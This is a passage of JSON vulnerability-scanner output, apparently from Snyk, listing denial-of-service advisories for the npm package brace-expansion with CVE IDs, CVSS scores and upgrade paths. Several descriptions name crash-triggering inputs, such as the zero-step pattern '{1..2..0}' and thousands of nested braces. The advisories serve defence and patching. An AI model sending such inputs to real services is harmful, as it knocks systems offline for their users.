"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
